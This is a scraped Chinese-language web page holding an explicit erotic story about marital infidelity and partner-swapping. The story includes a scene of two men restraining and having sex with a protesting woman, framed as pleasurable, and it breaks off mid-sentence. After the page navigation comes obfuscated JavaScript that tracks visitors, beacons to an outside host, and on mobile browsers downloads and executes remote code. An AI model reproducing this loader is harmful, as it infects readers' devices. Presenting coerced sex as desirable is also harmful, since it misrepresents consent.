这日中午,黄远和朋友杨松、外地客户赵二在饭店吃饭。黄远一边吃一边想 着下午与雅琳的幽会,时不时眼前浮现出那日身下雅琳被自己狂插时的狂吟娇态, 不觉心猿意马心神不定。

赵二举着酒杯说:“嗨,老黄今天这酒喝得不痛快呀,三人一瓶白酒,到现 在你连一两酒都没下肚。”

旁边的杨松也说:“真是,你小子是不是心里有事呀,跟哥们说说,有什么 事。”

黄远勉强笑笑说:“没事,今天就是喝不下,下午我还有点事,中午不能多 喝酒。”

杨松说:“不能多喝酒?你小子准是有艳遇,说,又勾上哪个少妇了。”

赵二也附合着说:“说说吧,要不然我该你那两万块钱修车费不还了。”

杨松说:“没错,真不够朋友,你小子借我的钱下午还给我。”

黄远无奈地说:“别别,也没什么事,是下午和一个相好的有个约会,操, 说就说,前两天刚泡上的,雪肤靓条逼紧,挺有味道。”

赵二一脸羡慕的说:“我操,这么好的美事都让你遇上了,”说着转脸对杨 松说:“大哥,今天咱们开开眼去吧,老黄,没别的要求,你干她的时候我们哥 俩瞧瞧,过过干瘾,行不行。”

黄远端起满满酒杯一口喝干,豪气地说:“行,但咱们先说好了,光看可别 露面,一会儿咱们过去。”

下午五点半三人到了黄远在清雅园的二居室,黄远说:“这儿有两间卧室, 阳台是相连的,你们哥俩到另一间,一会儿我们玩起来你们从阳台看就行了。”

过了一会儿,门外传来轻轻的敲门声。黄远三对视一眼,杨赵二人悄悄躲藏 到一间卧室里,黄远上前打开门,门口一身工作套装的雅琳脸色晕红,微微气喘 的站在门口。黄远拉进雅琳随手关上门,二人随即紧紧拥抱,两双嘴唇急切地吻 在一起。

“我快想死你了,你再不来我都要等疯了。”黄远一边揉捏着雅琳的臀部一 边说。“我也想你,想见到你。”雅琳伏在黄远胸前温柔地说。“我想要你。”

说着黄远性急的一把抱起雅琳走进卧室。

黄远轻轻把雅琳放在床上,先顺手把自己的衣服脱光,然后一边轻抚雅琳的 头发、脸庞,口中说着情话,一边轻解雅琳的衣服。雅琳轻抬翻转身体,让黄远 顺利的脱光自己。黄远站起身后退一步,定睛注视面前这具美妙的躯体。只见雅 琳微闭双目,双臂含羞般紧抱在前胸,两条长长的美腿轻开,浓密的耻毛丛中微 露蜜穴。黄远看着不觉情欲高涨,他上前一步拔开雅琳的双臂,双手握住她白嫩 的双乳,低头把硬硬的乳头吸入口中。随着男人的大力吸吮,雅琳轻轻的呻吟着, 身体开始微颤,阵阵淫液从阴穴溢出,双手也不自觉的在黄远赤裸的身上抚摸着。

黄远放开雅琳的乳头熘到床下,扯着雅琳的双腿把她拉到床边,握住一对小 脚细细抚弄,随后把她两条嫩腿架在肩上,低头用舌头一路从小腿大腿舔弄到阴 阜,最后把嘴紧紧吻上雅琳的阴穴,开始有条不紊地把舌头伸进她的阴穴里搅拌, 时不时还用嘴扯弄阴蒂和阴唇。雅琳抬头看着伏在自己腿间蠕动的头,被黄远的 舔弄兴奋的双腿颤抖,口中狂吟不止,不禁狂乱的揪动着黄远的头发。

黄远抬起头站起身,阳具雄雄直耸在前,雅琳半坐低头含住它使劲亲吮,黄 远嘴里畅快的嗷嗷叫着,过了半晌,他从雅琳嘴里抽出阳具,伏身缓缓地把阳具 插入雅琳早已大开的阴穴开始抽送——随着黄远快速猛烈的冲顶,雅琳只觉得全 身轻飘飘如入云中,强烈的性快感通遍全身,口中发出的呻吟声不绝。黄远见雅 琳快乐的娇态不觉兴奋地把阳具抽插得更加迅猛。没过多久,雅琳一瞬间直觉得 自己像是飞了起来,多时的渴望和偷情的刺激以及体内阳具狂热的撞击,使得她 很快便达到了性高潮。黄远察觉到了身下女人的变化,便放慢了抽送速度,双手 也更多的抚弄起雅琳的乳房和纤纤细腰,在聆听着女人快乐的吟叫声中感到一种 强烈的满足。

此时,一直在阳台上窗帘缝中偷窥的杨松与赵二两人,早已被室内男女高昂 激烈的性爱逗得欲火中烧,不觉各自掏出阳具兴奋地捋动。杨松俯到赵二耳边低 语道:“兄弟,管他妈的,咱们俩进去干那小娘儿过过瘾。”此话正合赵二心意, 二人遂轻轻拔开阳台通往往卧室的小门熘了进去。

雅琳微闭双目,平平叙展双臂,正在随着黄远阳具时而急促进而轻缓的冲击, 享受着性爱的愉悦。她嘴里娇声婉转,耐心的等待下一次性高潮的到来。黄远站 在床下,清楚的看着自己阳具被雅琳阴穴吞吞吐吐的美景,双手前伸揉捏着那两 颗诱人的乳头,引得身下的女人娇吟连连。“爽!”黄远暗叫。却在此时,自己 的肩膀被人轻拍了一下,黄远吃了一惊,转头一看却是杨赵二人光着身子,挺着 肉筋贲张的阳具一脸淫笑的望着他。杨松示意他让位,黄远皱了皱眉头,心想局 面已经不可改变,只好无奈的把阳具从雅琳阴穴里抽出来。杨松挺着粗壮的阳具 上前凑近雅琳大开的双腿。

迷乱中的雅琳突然感到阴穴里一空,还没多想,阴穴已被一根阳具重新插入。

虽然雅琳平生经过男人阳具的洗礼也不算少,但此时容入自己阴穴中的阳具 陌生感却是明显的。她吃了一惊,张开双眼,只见伏在身上用阳具冲顶自己阴穴 的是一个满脸淫笑的矮胖男人。雅琳惊慌的想要大叫起身,可另外一个瘦高男人 迅速过来双手死死按住自己的肩头使自己动弹不得。一瞥却见黄远一脸无奈相站 在旁边,手里捋动着仍在硬挺的阳具。雅琳急怒交加大骂道:“黄远你这混蛋, 快让他们放开我。”同时不停用力扭动身体想要挣脱,可在两个男人的挟持下又 怎能脱身呢,并且此时插在雅阴穴里那根粗壮的阳具不停的急促冲顶,每一次都 直抵阴穴深处的花心。雅琳只感到一股股强烈的快感从小腹直导脑门,不知不觉 中口中的叫骂被急切的呻吟声所取代。雅琳心想:“完了,自己彻底成了一个荡 妇了,也罢,既然如此,什么都无所谓了,今天我就痛痛快快地享受性爱的乐趣 吧。”

杨松紧紧握着雅琳的胯部用阳具狂猛的抽插着她的阴穴,渐渐感觉出身下的 女人已无反抗之意,心想:“这么白嫩的漂亮少妇操着真是不赖,过瘾。”又狂 插几下,他示意赵二把雅琳的上肢放开,伸手使劲翻转雅琳的身子,使女人高高 的翘起白嫩的臀部,杨松用手啪得在上面打了一下,伴随着雅琳的惊唿猛得把阳 具重新送入她的阴穴。

赵二在一旁看着,早已被欲火烧得急不可奈了,他爬上床坐在雅琳身前,双 手使劲揉搓着她的乳房,感觉还是不过瘾,便捏住雅琳的下巴强迫她把嘴张开, 挺着阳具插进雅琳口中抽送。此时的雅琳已被狂热的欲望之火烧炽得忘掉了一切 羞耻,口中插进来的阳具并没有使她反感,反而多了一份充实感。她一边呻吟着, 伴随着身后男人猛烈的撞击一吞一吐地吮吸着口中的阳具。没多一会儿,赵二受 不住刺激,口中嗷嗷叫着,抚住雅琳的脸猛得在她口中抽送了几下后,身子一抖 一股浓浓的精液射入雅琳口中。

雅琳正在急切地吮吸着嘴里的阳具,赵二射入的精液她连想都没想就下意识 的吞了下去,并且不停顿的把赵二渐渐软下来的阳具上残余的精液吸个干净。赵 二喘息着抽出阳具靠在床头,雅琳口中一空,一种空虚感使她不禁高叫一声。

杨松挟着女人两片白嫩的屁股,放缓了抽送的速度,开始深一下浅一下的玩 弄着雅琳的阴穴。杨松猛顶一下说:“妹子,哥哥操得舒服吗?”

“噢——唉哟——舒服,操得我好舒服。”

“妹子,你这小逼还真紧,哥哥的鸡巴粗不粗。”

“——唉哟——啊——粗,把我的逼插得满满的,——唉哟——”

“妹子,别趴着了,让哥哥躺着玩会儿。”说着杨松拔出阳具躺了下来,雅 琳主动爬起身蹲坐在男人腰间,用手扶着杨松的阳具缓缓顶入自己的阴穴。“噢!”

雅琳深唿一声,开始癫狂的快速起落,直令插在体内的阳具次次都直抵花心。

杨松随着雅琳的起伏不停的捏扯她的乳房,并奋力向上冲顶。雅琳狂做一阵 后猛得趴在杨松身上,口中大声吟叫着,又一次的性高潮使她全身颤栗不止。

黄远看着眼前这淫乱的场面,心里虽然有些挽惜雅琳自此已经成为一名荡妇, 但越来越涨的阳具使他顾不得许多。他走到床边,抚摸着雅琳的臀部,兴奋的低 头看着杨松的阳具在女人阴穴里抽送搅动。他伸手沾了些二人的体液涂在雅琳的 菊眼上,端起阳具顶进雅琳紧紧的菊腔内。

雅琳此时仍沉浸在性高潮的余韵中,她软软地伏在杨松身上,感受着阳具在 阴穴里的不断搅动,让快感一波波在全身荡开。不料菊眼一阵剧痛使她猛得撑起 身子痛苦大叫一声,但下半身被两个男人牢牢掐着不能动弹。黄远却不管女人的 哀叫,雅琳菊腔里的紧包给阳具带来的巨大快感使他开始兴奋地快速抽送起来。

杨松早已把黄远的举动看在眼里,这样两个男人合干一个女人他还是头一次, 于是兴奋的与黄远配合默契的分别在雅琳两个洞穴中前后抽送起来。

时间一分分过去了,雅琳感觉菊腔内的痛楚感逐渐消去,另一种不同的快感 开始阵阵袭来,两个龟头在自己两条洞里内壁上的刮擦与顶撞,使她感受到前所 未曾有过的快活。她喊着,叫着,颠狂的摇摆着头发。杨松再也忍不住,闷哼一 声阳具抽搐着把精液射入雅琳的阴穴。

黄远端着雅琳的双腿把她从杨松身上抱起,阳具仍在雅琳菊眼里冲顶着。一 旁早已缓过劲来的赵二挺着硬起来的阳具走上前,面对女人扶住后,把阳具送入 雅琳还在往外流着精液的阴穴。雅琳夹在两个站立攻击自己身体的男人中间,双 手紧搂赵二的脖子,享受着两个男人阳具给自己带来的巨大快感,三人放声吟叫 着,室内充满一片淫声浪语。

“操!操!”黄远一边使劲冲顶着雅琳的菊眼一边叫着:“雅琳,宝贝,小 骚逼,挨操爽不爽!”“——唉哟爽——爽,噢,我的天,唉哟使劲操我,使劲 操小骚逼。”赵二搬着雅琳两条腿大力冲顶着她光滑的阴穴,嘴里咬牙叫着: “操死你,操死你个小骚逼!”雅琳疯狂地放声号叫着:“用力,你们俩,噢— —噢——操我,操死我吧。”三人疯狂的动作着,汗水和淫液流淌在三个人的身 体上。终于,雅琳感觉插在两个洞里的阳具先后大抖起来,一股股热流灌入身体 深处。强烈无比的快感使三人狂吟不止,随之一同瘫倒在床上。

许久,雅琳从快乐的余韵中清醒过来,她用力推开黄远搭在身上的腿和赵二 搂在乳房上的手,一言不发地下床胡乱穿上衣服,走出了房门。回到家也没吃东 西,进浴室简单洗了洗便上了床,打开电视。在床上她深深吐了口气,轻轻呻吟 了几声,心想:“天哪,太刺激了,从没有过像这次一个性高潮连着一个性高潮 的时候,简直快活得要死——”一边想着,疯狂后的疲惫阵阵袭上全身,不知不 觉中雅琳沉沉睡去。

半个多小时后,晚上与老同学聚会完后在KYV唱够老歌的秦坚回到了家。

进门他看看表已是夜里十一点多了,他悄悄摸进卧室,电视开着,老婆早已 经在梦乡。他爬上床想看会儿新闻再睡,挨着雅琳的身子。他边看电视边习惯性 的把手探入老婆的内裤里,刚一入手却摸到一片纸巾,秦坚心里一动,心想老婆 刚刚过完例假没几天怎么又垫上了,看女人睡得很沉便轻轻褪下她的内衣,拔开 她的双腿借着电视机发出一闪一闪的光线细细看去,只见原来薄薄不大的两片阴 唇变得肥厚红肿,往上看乳房上隐隐现出几块青痕,两颗乳头又红又硬,回首一 瞥,见内裤纸巾上有几点红斑血迹,并且浸湿的地方传来一股浓浓的精液气味。 秦坚心中大惊,慌乱的心想:“难道我最不想发生的事,也只是在性幻想中才有 的情况已经在雅琳身上发生了吗?”他轻轻把一根手指探入雅琳的阴穴,入手紧 胀滑润。

在手指轻轻抽动下睡梦中的雅琳扭动着身子,口中轻声呻吟,喃喃道:“操 我,嗯——哎哟,黄远,使劲操我。”

全明白了,一股怒火和一种说不清的沮丧冲击着秦坚,他伸手在雅琳雪白的 大腿上狠拧一把。雅琳痛唿一声坐了起来,一脸朦胧惊愕地望着秦坚。哭泣、求 饶、委屈、懊悔,在秦坚不断逼问下,雅琳诉说着与黄远两次幽会以及四人淫乱 的情形。

听着雅琳的诉说,秦坚仿佛身处在那淫欲横流的情景之中,阳具不由得雄雄 勃起,他翻起雅琳的身体细看她的后庭菊花,果然红肿微开。秦坚扶着雅琳的屁 股把阳具先插入女人的阴穴润了润,抽出后猛得送入了雅琳的菊眼内,雅琳闷哼 一声,一动不敢动,任男人的阳具在她还痛疼着的菊眼里猛烈抽插。但没过多久, 雅琳便在痛楚渐去后找到了那种愉悦的快感,口中不觉发出的呻吟声荡漾在小小 的的卧室空中。

“你这个臭婊子,这么多男人把你操爽了没有。”

“爽了——唉哟——老公,操我——唉哟——我喜欢、喜欢让男人操。”

“你这个骚逼,我他妈操死你。”秦坚一边猛烈的冲撞着雅琳的菊眼一边骂 着,没多一会儿,滚热的精液便携着他的怒火泄入老婆后庭深处。

秦坚有些疲惫的靠在床头,心想:“怎么办?休了她?平心而论雅琳在生活 中还算是个不错的女人,当初也是以处女身跟了自己,也许是自己平日太冷落她 才导致如此,算了,人生苦短,能及时行乐就乐去吧。”

雅琳擦拭净下身后胆怯的偎在秦坚身边,过了半晌,秦坚叹了口气说:“算 了,明天你约一下黄远,我要和他谈谈,放心,我不宰了他。”听到这话,雅琳 的身子放松了些,伸臂抱住老公,说:“谢谢你原谅我,老公,以后我再也不敢 了。”“没什么,只是以后要玩儿一起玩儿,要不然我太亏了。怎么样,菊眼挨 操有快感吗?”秦坚说。雅琳一脸淫色的说:“开始有些痛,再后来就舒服了, 是另一种感觉的快感。”秦坚没搭话,心想:“多好的女人连着让两个男人操过 以后也就变成荡妇了。”

第二天匆匆吃过晚饭,雅琳引着秦坚来到了前日她与黄远淫乱的地方。敲门 开处,黄远一脸惶恐地站在门旁,口中不迭的说:“老兄,多原谅,兄弟我今天 好好向你请罪。”说着引二人到卧室。秦坚看了一眼,这房子已经装修完,只是 没有几件家具,倒是卧室里家具用品一应俱全。抬眼处窗前椅子中端坐的一位女 子站起迎上前来。黄远介绍是他老婆李婷。秦坚细看面前女子不禁眼睛一亮,李 婷是尖脸型,五官长得极为精致好看,一双媚眼流波闪动,身段十分妖娆,感觉 似曾相识。李婷一脸媚笑拉起秦坚的手说:“秦哥好英俊,我早就见过你,就是 无缘相识。”秦坚反手握住李婷的手感觉滑软若无骨,心中不禁一荡,说道: “我也是同样的感觉,今天相识真是有幸。”

李婷拉着秦坚坐在床上,黄远刚与雅琳坐在窗前椅中。李婷说道:“我老公 和雅琳的事我也知道了,秦哥就原谅他们吧,其实夫妻只要能在一起好好过日子, 想找点野趣也算上正常的。今天我就代黄远好好补偿补偿秦哥。”说着把身体轻 偎入秦坚怀里。秦坚心说我正想如此,于是伸臂把李婷紧紧拥入怀中,低头把唇 压在李婷柔软的双唇上。长吻之后秦坚见李婷双颊轻点桃红,双目媚眼如丝,她 朝秦坚媚笑一下,抬手帮秦坚脱去衣服,小手在抚摸着秦坚身体的同时,用柔软 的细舌顺着他的脖颈胸部一路舔下去,褪下秦坚的内裤把他还软软的阳具一口吞 入嘴里。

“噢!”秦坚兴奋的不禁发出呻吟声,李婷似乎受过专业的训练般,吹箫功 夫非常之高,秦坚的阳具在她舔吮捋搓下迅速筋肉贲张。他一边享受着,伸手从 李婷文胸下方摸索进去,入手两个不算大但非常挺实的乳房,盈盈一握手感非常 好。李婷吐出阳具,阳具和嘴唇上连着一丝光亮的粘液。她示意秦坚抬起双腿, 低头看了一眼笑着说:“秦哥毛真多,连屁股上都是。”说着竟用舌头轻轻在秦 坚的菊眼处揉动舔吮。秦坚心中暗叫舒服太舒服了,真是个妙人,双手更加起劲 的揉捏着李婷的乳房。

李婷忙碌了一阵抬起身,脱去内衣。秦坚看到她的身体细细圆圆,苗条但不 缺少性感,他摸索着李婷的下身,一缕窄窄的耻毛下却有着两片长大的外阴唇, 手指探入穴内早已汁水淋淋。李婷嘤咛一声摆脱秦坚插在阴穴里搅动的手指,轻 推他躺下蹲立在男人胯间,小手扶着秦坚贲张雄壮的阳具对准阴穴缓缓顶入—— ——秦坚舒服的双手支头看着李婷如女骑手般在身上驰骋。李婷紧咬双唇皱眉闭 眼,口中快乐的呻吟着,上下盘旋身体好似在跳着一支美妙的独舞,阴穴里的腔 肉一紧一弛好像有一只小手有捋动着秦坚的阳具,这一切使秦坚得到一种从未有 过的爽快。他嘴里赞叹着伸手爱抚着李婷的翘翘的双乳和圆润的腰肢,一边转头 看坐在窗前椅中雅琳和黄远的动静,只见两人早已是兴奋的面红耳赤,黄远裆部 早已高高隆起,不时将手摸向雅琳的大腿和腰部。雅琳在老公面前不敢造次,轻 轻阻挡着黄远的侵袭。秦坚看看身上的李婷再看看老婆雅琳,心想:“男人就是 这个臭德性,自己的老婆如此嫚妙可人,却还是喜欢干别人的老婆,真是多好吃 的菜肴吃的遍数多了也会厌烦。”暗叹一声转头对窗前椅中二人说:“来吧,别 做看客了,过来一起玩儿吧。”

黄远如听大赦般急急站起身,不由分说迅速剥光自己和雅琳的衣服,一把抱 起雅琳放倒在大床上紧挨秦坚李婷二人仰面躺下。雅琳在秦坚面前似乎还是有坚 羞涩,把脸扭向另一边。黄远挺着阳具拔开雅琳双腿一顶而入,随即对雅琳的阴 穴开始了急风暴雨般冲击。

雅琳压抑着自己的呻吟声,身子随着黄远的动作挺纵。秦坚伸手揽过雅琳的 头,探过嘴唇压上去与老婆热烈激吻。此时李婷的动作幅度越来越大,秦坚双手 紧握她圆滑的臀部奋力向上冲顶她的阴穴,猛的一下,李婷闷哼一声后颤栗着伏 在秦坚身上。秦坚放慢了动作,待李婷稍稍平静些便搬开她起身下床,抬起她的 臀部准备采用后进式插入,李婷却从裆间伸手抓住秦坚的阳具引到菊眼上,秦坚 心中一喜,心想终于碰上了喜欢这调调的女人,随即在李婷菊眼口轻轻揉送几下,

觉得并无阻碍便把阳具一下插进去————秦坚急进缓出的在李婷小菊眼里抽送

着,不同于插阴穴的感觉,在这儿阳具感觉不到松处,只被腔肉全部紧紧包 裹,秦坚觉得自己的阳具在这种全包裹下愈来愈发粗大。他一边挺冲阳具,伏身 在李婷背上,一只手来回抚弄她的乳房,另一只手顺着她的胯部摸索揉捏她涨涨 的阴蒂和阴唇,引得李婷淫水长流,呻吟声愈发高吭。

秦坚侧脸看身边一对男女,黄远还保持着如初的冲力。秦坚清楚的看到男人 在老婆阴穴里抽插的画面,雅琳阴穴口的一线白色嫩肉随着黄远阳具的猛力抽插 被带出送入,白嫩的双乳在男人手中被粗暴的揉捏着。雅琳高翘着两条长腿,双 手扶着黄远的臂膀口中发出含混不清的吟叫。这种场面对于秦坚来说太刺激了, 简直就如同在看过的A片里的情景中一般,他更加狂野地撞击着身下李婷的身体。

过了一会儿,随着黄远一声闷哼二人抱在一起不动了,只有雅琳还大张高翘 的双腿在微微颤抖。黄远起身抽出阳具,秦坚看到一股白色的精液从雅琳大开的 阴家中缓缓流出。秦坚在性爱方面是个十分耐战的人,他紧掐着李婷的细腰一边 不停顿的在她菊眼里搅动抽送阳具,不时还伸手扳转过她的脸与她热吻。在黄远 与雅琳的注视下,秦坚又狂干了李婷半个多小时,伴着李婷快乐的嚎叫和她菊眼 内腔肉阵阵抽搐挤压中,才在隆隆直顶脑门的快感中把滚热的精液深深注入李婷 菊眼内————临别时,李婷不顾黄远忌妒的目光,把身子深深埋入秦坚怀中, 伸嘴轻咬他的耳垂,喃喃地说:“秦哥,今天你给了我从没有过的快乐,从现在 我已经开始想你了,今后只要你想快乐,妹妹身上所有的洞随时为你敞开。”秦 坚微笑着没有说话,只是深深地亲吻李婷薄薄的双唇,心里说:我喜欢你,你真 是个可人的尤物。

回到家夜已深了,秦坚和雅琳懒得洗漱,脱光衣服上了床。:“老公,我这 两天让好几个男人玩过,你以后会嫌弃我吧?”雅琳一边轻抚着秦坚的小腹一边 小心的问道。“不会,只要你别总是私下找别的男人就好。我说过,要玩儿大家 出去一起玩儿,回家关上门咱们还好好过日子。”“放心老公,我心里从来爱的 只是你一个人,我一定好好跟你过日子。嗨,对了老公,黄远的老婆挺漂亮,身 段也不错,今天咱们在一起做爱,是不是像网上说的那种夫妻交换哪?”“算是 吧,有两对或是多对夫妻同时交换伴侣的,纯粹的乱交,不过想想还真是刺激。”

雅琳翻身爬到秦坚身上,脸上挂着淫荡的笑意说:“老公,将来有机会咱们 也去参加一次多对夫妻的交换。”“你这个骚样还不得让男人们轮奸了。”说着 秦坚在她屁股上拧了一把。雅琳嘤咛一声,骑着男人的下体用软软的阴毛揉弄着 男人的大腿,轻声耳语道:“老公,刚才我没好,你再要我一回吧。”秦坚搂了 搂女人说:“还是休息吧,明天我还有许多事要做。”雅琳讪讪的偎依着秦坚不 动了,二人不久便进入梦乡。

秦坚上午正在做事,收到柳月一条短信:我的爱人,中午来家找我,有急事 相商。“什么事要商量哪?”秦坚满心迷惑,又想是不是想与我共赴巫山云雨, 眼前不禁浮现出柳月那对高挺的乳房和修长的双腿,不觉有些心痒。在内心里秦 坚对柳月还是怀有一分敬爱之情,那日两人激情做爱时柳月喜极而泣的情景,令 秦坚感到柳月是真心的爱着他。

午饭后秦坚匆匆赶到柳月处,关好门后柳月紧紧搂着秦坚,一对丰乳挤得他 胸中一窒。两人一边狂吻一边饥渴般上下摸索着彼此的身体,柳月嘴里喃喃道: “我想你,想你,我的爱人。”秦坚揽着柳月坐到沙发上,伸手进她衣里解脱文 胸,一对漂亮丰挺的乳房一下涌出,秦坚快速抚摸着,入手如凝脂般丰润光滑, 他深吸口气把头埋进两座乳峰中间深深的峡谷中,阵阵乳香扑鼻,太爽了!秦坚 忍不住要叫喊。柳月深情地低头看着男人,双手在他背上轻轻抚摸。秦坚嘴里吮 着柳月的乳头,右手摸索进她的内裤想一探洞幽。却不想柳月急急按住他的手, 口中不迭地说:“别、别,亲爱的,你先听我说件事。”

秦坚放开柳月端坐,望着柳月微微晕红的面颊一脸的惶惑。柳月定了定神, 拉着秦坚的手放在她的大腿上,低着眼帘说:“我老公张海你认识吧。”“认识, 但不熟。”“他,他很有一段时间了,”柳月顿一顿继续说:“他总是在网上看 些伴侣交换的网站,热衷什么3P4P的活动,也就是他想把我交换别人的老婆 来弄,也让我被别人的老公弄,或是找个男人一起和我做爱。他想看着我被别的 男人干,会有更好的性高潮。你说,他是不是性变态了?”

秦坚轻轻抚摸着柳月的大腿说道:“也不能这么说,现在有许多夫妻因为结 婚年头多了,彼此的情感并未变,只是因为太熟悉对方的身体了,所以夫妻性生 活的情趣越来越淡,却又是在壮年期,生理也有需求,也就产生了许多像夫妻交 换做爱这类的活动,夫妻二人一同寻求不同异性给自己带来的新鲜不同的性体验, 我想这也不算是性变态。”

柳月嗔怒的拍了下秦坚的大腿,说道:“你也性变态了,假如你看着你的老 婆被别的男人干,你会有性兴奋吗?”“可能会,但我更喜欢干别人的老婆。”

秦坚笑着答道。柳月叹了口气把身子偎进秦坚怀里说:“说真的,我现在很 矛盾,一方面我不甘心被张海随便找个男人干,又怕拒绝会影响我们之间的关系, 毕竟我现在还不想和他离婚。另外我还有你,心里总是对他有歉疚感。昨晚我答 应他做一回3P性爱,但条件是男人得我自己找,他同意了。”“我明白了,你 的意思


上一篇:我一个人的无限世界(1-9)

下一篇:女友被凌辱特别篇(立源和小妮)(第一份工作)(全)


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var 